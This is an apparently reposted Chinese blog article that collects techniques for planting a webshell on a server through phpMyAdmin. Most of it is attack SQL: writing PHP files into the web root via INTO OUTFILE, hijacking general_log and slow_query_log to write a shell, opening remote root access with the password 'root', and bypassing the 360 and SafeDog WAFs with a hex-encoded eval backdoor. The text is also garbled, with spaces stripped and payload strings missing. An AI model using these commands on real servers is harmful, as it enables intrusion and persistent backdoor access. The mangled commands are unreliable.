← 返回列表

phpMyAdmin后台Getshell总结

聚合站 SecWiki技术 作者 潇湘信安 发布 2020年11月28日 10:30 入库 2026-11-18T21:54:17

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

Web安全#漏洞复现#工具使用#权限提升

权限维持#防护绕过#内网安全#实战案例

其他笔记#资源分享#MSF

0x01 前言

phpMyAdmin是一个以PHP为基础的MySQL数据库管理工具,管理者可以通过Web方式来控制和操作MySQL数据库。phpMyAdmin在MySQL和MariaDB上支持多种操作,可以直接在用户界面中执行常用操作,如:浏览/删除/创建/复制/删除/重命名和更改数据库、表、视图、字段和索引,管理MySQL用户帐户和权限等,也可以直接执行SQL语句。

0x02 Getshell常见报错

(1) #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

show global variables like"%secure%"; //查询secure_file_priv配置secure_file_prive=null //不允许导入导出数据到目录secure_file_priv=c:\90sec //允许导入导出数据到指定目录secure_file_priv=""//允许导入导出数据到任意目录secure_file_priv="/"//允许导入导出数据到任意目录

注:在my.ini、my.cnf、mysqld.cnf文件中找到secure_file_prive并将其值设置为空""或斜杠"/",然后重启MySQL服务即可!

(2) #1045 - Access denied for user 'root'@'localhost' (using password: YES)

selectfrommysql.user; //查询所有用户权限selectfrommysql.userwhereuser="root"; //查询root用户权限updateusersetFile_priv ='Y'whereuser='root'; //允许root用户读写文件updateusersetFile_priv ='N'whereuser='root'; //禁止root用户读写文件flushprivileges; //刷新MySQL系统权限相关表

0x03 Getshell方式小结

(1) 读取/导出中文路径

loaddatainfile'C:\phpStudy\WWW\90sec.php'intotableuser;selectload_file(concat('C:\phpStudy\WWW\',unhex('b2e2cad4') ,'\90sec.php'));setcharacter_set_client='gbk';setcharacter_set_connection='gbk';setcharacter_set_database='gbk';setcharacter_set_results='gbk';setcharacter_set_server='gbk';select''intooutfile'C:\phpStudy\WWW\测试\90sec.php';

(2) 常规导出Webshell-1

CreateTABLEshadow9 (contenttextNOTNULL);InsertINTOshadow9 (content)VALUES('');selectcontentfromshadow9intooutfile'C:\phpStudy\WWW\90sec.php';DROPTABLEIFEXISTSshadow9;

(3) 常规导出Webshell-2

select''intooutfile'c:/phpstudy/www/90sec.php';select''intooutfile'c:\phpstudy\www\90sec.php';select''intodumpfile'c:\phpstudy\www\bypass.php';select'\';system($_GET[\'cmd\']); echo \'\'; ?>'intooutfile'C:\phpStudy\WWW\90sec.php';

(4) general_log Getshell

showglobalvariableslike"%genera%"; //查询general_log配置setglobalgeneral_log='on'; //开启general log模式SETglobalgeneral_log_file='C:/phpStudy/WWW/cmd.php'; //设置日志文件保存路径SELECT''; //phpinfo()写入日志文件setglobalgeneral_log='off'; //关闭general_log模式

注:高版本MySQL数据库中一般都默认配置了secure_file_priv变量值为null,限制了文件的导入导出,这时我们可以尝试利用MySQL的general_log和slow_query_log日志文件写入Webshell。

(5) slow_query_log_file Getshell

showvariableslike'slow_query_log_file';setglobalslow_query_log=on;setglobalslow_query_log_file="C:\phpStudy\WWW\shell.php";selectsleep(15),'';setglobalslow_query_log=off;

注:利用general_log或slow_query_log在成功写入Webshel后建议立即OFF关闭,否则可能会因为php.ini配置文件中的memory_limit参数设定的内存值太小而出现“内存不足”的报错。

Windows报错:

29 - File'C:\phpStudy\PHPTutorial\testing\cmd.php'not found (Errcode: 13)

Linux报错:

1231 - Variable'general_log_file'can't be set to the value of '/home/wwwroot/default/cmd.php'

出错原因:

MySQL运行用户与网站目录对应用户的写入/修改权限问题,需要给予网站目录所需权限才能解决该问题!

(6) 绕过WAF Getshell-1

phpMyAdmin导出Webshell时如果遇到WAF可能就会被拦截,因为WAF会检测我们提交的POST、GET数据包内容中是否含有危险函数、SHELL特征等,如果有则拦截,没有则放行。

这时我们可以尝试开启外链来执行导出Webshell的SQL语句,因为这样走的不是POST、GET方式,所以这样执行SQL语句是不会被WAF拦截的。

grantallprivilegeson.to'root'@'%'identifiedby'root'withgrantoption; //开启MySQL外链flushprivileges; //刷新MySQL系统权限相关表

(7) 绕过WAF Getshell-2

检测我们提交SQL语句的POST、GET数据包中是否包含的有WAF特征库中的危险函数、SHELL特征等,如:select、outfile、eval、assert等这样的就会被拦截。

select''intooutfile'c:/phpstudy/www/90sec.php';

绕过360网站卫士:

select''into/!50001outfile/'c:/phpstudy/www/bypass.php';

绕过网站安全狗(<4.0):

select0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3eintooutfile'C:\phpStudy\WWW\bypass.php';

注:Hex编码,提交时虽然会显示拦截,但其实[过狗马]已经被写进去了!

绕过网站安全狗(4.0正式版):

/!50001select/0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3eintooutfile'C:\phpStudy\WWW\bypass.php';

只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,回复“1120”领取黑客防线和安全参考等安全杂志PDF电子版,你还在等什么???

【往期TOP5】

绕过CDN查找真实IP方法总结

站库分离常规渗透思路总结

谷歌浏览器插件 - 渗透测试篇

谷歌浏览器插件推荐 - 日常使用篇

绕过360安全卫士提权实战案例


如果对你有所帮助,点个分享、赞、在看呗!

原文链接:https://mp.weixin.qq.com/s/AYhwvH8Nb2wn-DElN5oi2w